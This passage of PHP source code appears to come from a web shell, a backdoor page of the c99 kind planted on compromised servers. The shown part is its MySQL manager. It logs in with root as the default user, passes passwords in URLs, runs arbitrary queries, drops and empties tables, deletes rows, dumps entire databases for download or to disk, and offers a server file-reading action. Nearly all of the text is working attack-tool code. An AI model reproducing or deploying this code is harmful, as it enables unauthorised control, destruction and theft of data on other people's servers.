  if (!$sql_sock) {
    if (!$sql_server) {echo "NO CONNECTION";}
    else {echo "Can't connect! ".$err;}
  }
  else {
    $sqlquicklaunch = array();
    $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
    $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
    $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
    $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
    $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
    $sqlquicklaunch[] = array("Logout",$surl."act=sql");
    echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
    if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  }
  echo "</td></tr><tr>";
  if (!$sql_sock) {
    echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
    echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  }
  else {
    //Start left panel
    if (!empty($sql_db)) {
      ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
      <?php
      $result = mysql_list_tables($sql_db);
      if (!$result) {echo mysql_smarterror();}
      else {
        echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
        $c = 0;
        while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
        if (!$c) {echo "No tables found in database.";}
      }
    }
    else {
      ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
      <?php
      $result = mysql_list_dbs($sql_sock);
      if (!$result) {echo mysql_smarterror();}
      else {
        ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
        <?php
        $c = 0;
        $dbs = "";
        while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
        echo "<option value=\"\">Databases (".$c.")</option>";
        echo $dbs;
      }
      ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
      <?php
    }
    //End left panel
    echo "</td><td width=\"100%\">";
    //Start center panel
    $diplay = TRUE;
    if ($sql_db) {
      if (!is_numeric($c)) {$c = 0;}
      if ($c == 0) {$c = "no";}
      echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
      if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
      echo "</b></center>";
      $acts = array("","dump");
      if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
";} $sql_act = "query";}
      elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
      elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
      elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
      elseif ($sql_tbl_act == "insert") {
        if ($sql_tbl_insert_radio == 1) {
          $keys = "";
          $akeys = array_keys($sql_tbl_insert);
          foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
          if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
          $values = "";
          $i = 0;
          foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
          if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
          $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
          $sql_act = "query";
          $sql_tbl_act = "browse";
        }
        elseif ($sql_tbl_insert_radio == 2) {
          $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
          $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
          $result = mysql_query($sql_query) or print(mysql_smarterror());
          $result = mysql_fetch_array($result, MYSQL_ASSOC);
          $sql_act = "query";
          $sql_tbl_act = "browse";
        }
      }
      if ($sql_act == "query") {
        echo "<hr size=\"1\" noshade>";
        if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
        if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
        if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
      }
      if (in_array($sql_act,$acts)) {
        ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
        <form action="<?php echo $surl; ?>">
        <input type="hidden" name="act" value="sql">
        <input type="hidden" name="sql_act" value="newtbl">
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
        <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
        <input type="text" name="sql_newtbl" size="20">
        <input type="submit" value="Create">
        </form></td>
        <td width="30%" height="1"><b>Dump DB:</b>
        <form action="<?php echo $surl; ?>">
        <input type="hidden" name="act" value="sql">
        <input type="hidden" name="sql_act" value="dump">
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
        <?php
        if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
        if ($sql_act == "newtbl") {
          echo "<b>";
          if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
            echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
          }
          else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
        }
        elseif ($sql_act == "dump") {
          if (empty($submit)) {
            $diplay = FALSE;
            echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
            echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
            $v = join (";",$dmptbls);
            echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
            if ($dump_file) {$tmp = $dump_file;}
            else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
            echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
            echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
            echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
            echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
            echo "</form>";
          }
          else {
            $diplay = TRUE;
            $set = array();
            $set["sock"] = $sql_sock;
            $set["db"] = $sql_db;
            $dump_out = "download";
            $set["print"] = 0;
            $set["nl2br"] = 0;
            $set[""] = 0;
            $set["file"] = $dump_file;
            $set["add_drop"] = TRUE;
            $set["onlytabs"] = array();
            if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
            $ret = mysql_dump($set);
            if ($sql_dump_download) {
              @ob_clean();
              header("Content-type: application/octet-stream");
              header("Content-length: ".strlen($ret));
              header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
              echo $ret;
              exit;
            }
            elseif ($sql_dump_savetofile) {
              $fp = fopen($sql_dump_file,"w");
              if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
              else {
                fwrite($fp,$ret);
                fclose($fp);
                echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
              }
            }
            else {echo "<b>Dump: nothing to do!</b>";}
          }
        }
        if ($diplay) {
    if (!empty($sql_tbl)) {
      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
      $count_row = mysql_fetch_array($count);
      mysql_free_result($count);
      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
      $tbl_struct_fields = array();
      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
      $perpage = $sql_tbl_le - $sql_tbl_ls;
      if (!is_numeric($perpage)) {$perpage = 10;}
      $numpages = $count_row[0]/$perpage;
      $e = explode(" ",$sql_order);
      if (count($e) == 2) {
        if ($e[0] == "d") {$asc_desc = "DESC";}
        else {$asc_desc = "ASC";}
        $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
      }
      else {$v = "";}
      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
      $result = mysql_query($query) or print(mysql_smarterror());
      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
      if ($sql_tbl_act == "insert") {
        if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
        if (!empty($sql_tbl_insert_radio)) {  } //Not Ready
        else {
          echo "<br><br><b>Inserting row into table:</b><br>";
          if (!empty($sql_tbl_insert_q)) {
            $sql_query = "SELECT * FROM `".$sql_tbl."`";
            $sql_query .= " WHERE".$sql_tbl_insert_q;
            $sql_query .= " LIMIT 1;";
            $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
            $values = mysql_fetch_assoc($result);
            mysql_free_result($result);
          }
          else {$values = array();}
          echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
          foreach ($tbl_struct_fields as $field) {
            $name = $field["Field"];
            if (empty($sql_tbl_insert_q)) {$v = "";}
            echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
            $i++;
          }
          echo "</table><br>";
          echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
          if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
          echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
        }
      }
      if ($sql_tbl_act == "browse") {
        $sql_tbl_ls = abs($sql_tbl_ls);
        $sql_tbl_le = abs($sql_tbl_le);
        echo "<hr size=\"1\" noshade>";
        echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
        $b = 0;
        for($i=0;$i<$numpages;$i++) {
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
          echo $i;
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
          if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
          else {echo "&nbsp;";}
        }
        if ($i == 0) {echo "empty";}
        echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
        echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
        echo "<tr>";
        echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
        for ($i=0;$i<mysql_num_fields($result);$i++) {
          $v = mysql_field_name($result,$i);
          if ($e[0] == "a") {$s = "d"; $m = "asc";}
          else {$s = "a"; $m = "desc";}
          echo "<td>";
          if (empty($e[0])) {$e[0] = "a";}
          if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
          else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
          echo "</td>";
        }
      echo "<td><font color=\"green\"><b>Action</b></font></td>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
       {
        $v = htmlspecialchars($v);
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
        echo "<td>".$v."</td>";
        $i++;
       }
       echo "<td>";
       echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
       echo "</td>";
       echo "</tr>";
      }
      mysql_free_result($result);
      echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"deleterow\">Delete</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
     }
    }
    else {
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
     if (!$result) {echo mysql_smarterror();}
     else
     {
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
      $i = 0;
      $tsize = $trows = 0;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       $tsize += $row["Data_length"];
       $trows += $row["Rows"];
       $size = view_size($row["Data_length"]);
       echo "<tr>";
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
       echo "<td>".$row["Rows"]."</td>";
       echo "<td>".$row["Type"]."</td>";
       echo "<td>".$row["Create_time"]."</td>";
       echo "<td>".$row["Update_time"]."</td>";
       echo "<td>".$size."</td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
       echo "</tr>";
       $i++;
      }
      echo "<tr bgcolor=\"000000\">";
      echo "<td><center><b>+</b></center></td>";
      echo "<td><center><b>".$i." table(s)</b></center></td>";
      echo "<td><b>".$trows."</b></td>";
      echo "<td>".$row[1]."</td>";
      echo "<td>".$row[10]."</td>";
      echo "<td>".$row[11]."</td>";
      echo "<td><b>".view_size($tsize)."</b></td>";
      echo "<td></td>";
      echo "</tr>";
      echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"tbldrop\">Drop</option>";
      echo "<option value=\"tblempty\">Empty</option>";
      echo "<option value=\"tbldump\">Dump</option>";
      echo "<option value=\"tblcheck\">Check table</option>";
      echo "<option value=\"tbloptimize\">Optimize table</option>";
      echo "<option value=\"tblrepair\">Repair table</option>";
      echo "<option value=\"tblanalyze\">Analyze table</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
      mysql_free_result($result);
     }
    }
   }
   }
  }
  else {
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");
   if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
   if (!empty($sql_act)) {
    echo "<hr size=\"1\" noshade>";
    if ($sql_act == "newdb") {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
    }
    if ($sql_act == "serverstatus") {
     $result = mysql_query("SHOW STATUS", $sql_sock);
     echo "<center><b>Server-status variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table></center>";
     mysql_free_result($result);
    }
    if ($sql_act == "servervars") {
     $result = mysql_query("SHOW VARIABLES", $sql_sock);
     echo "<center><b>Server variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
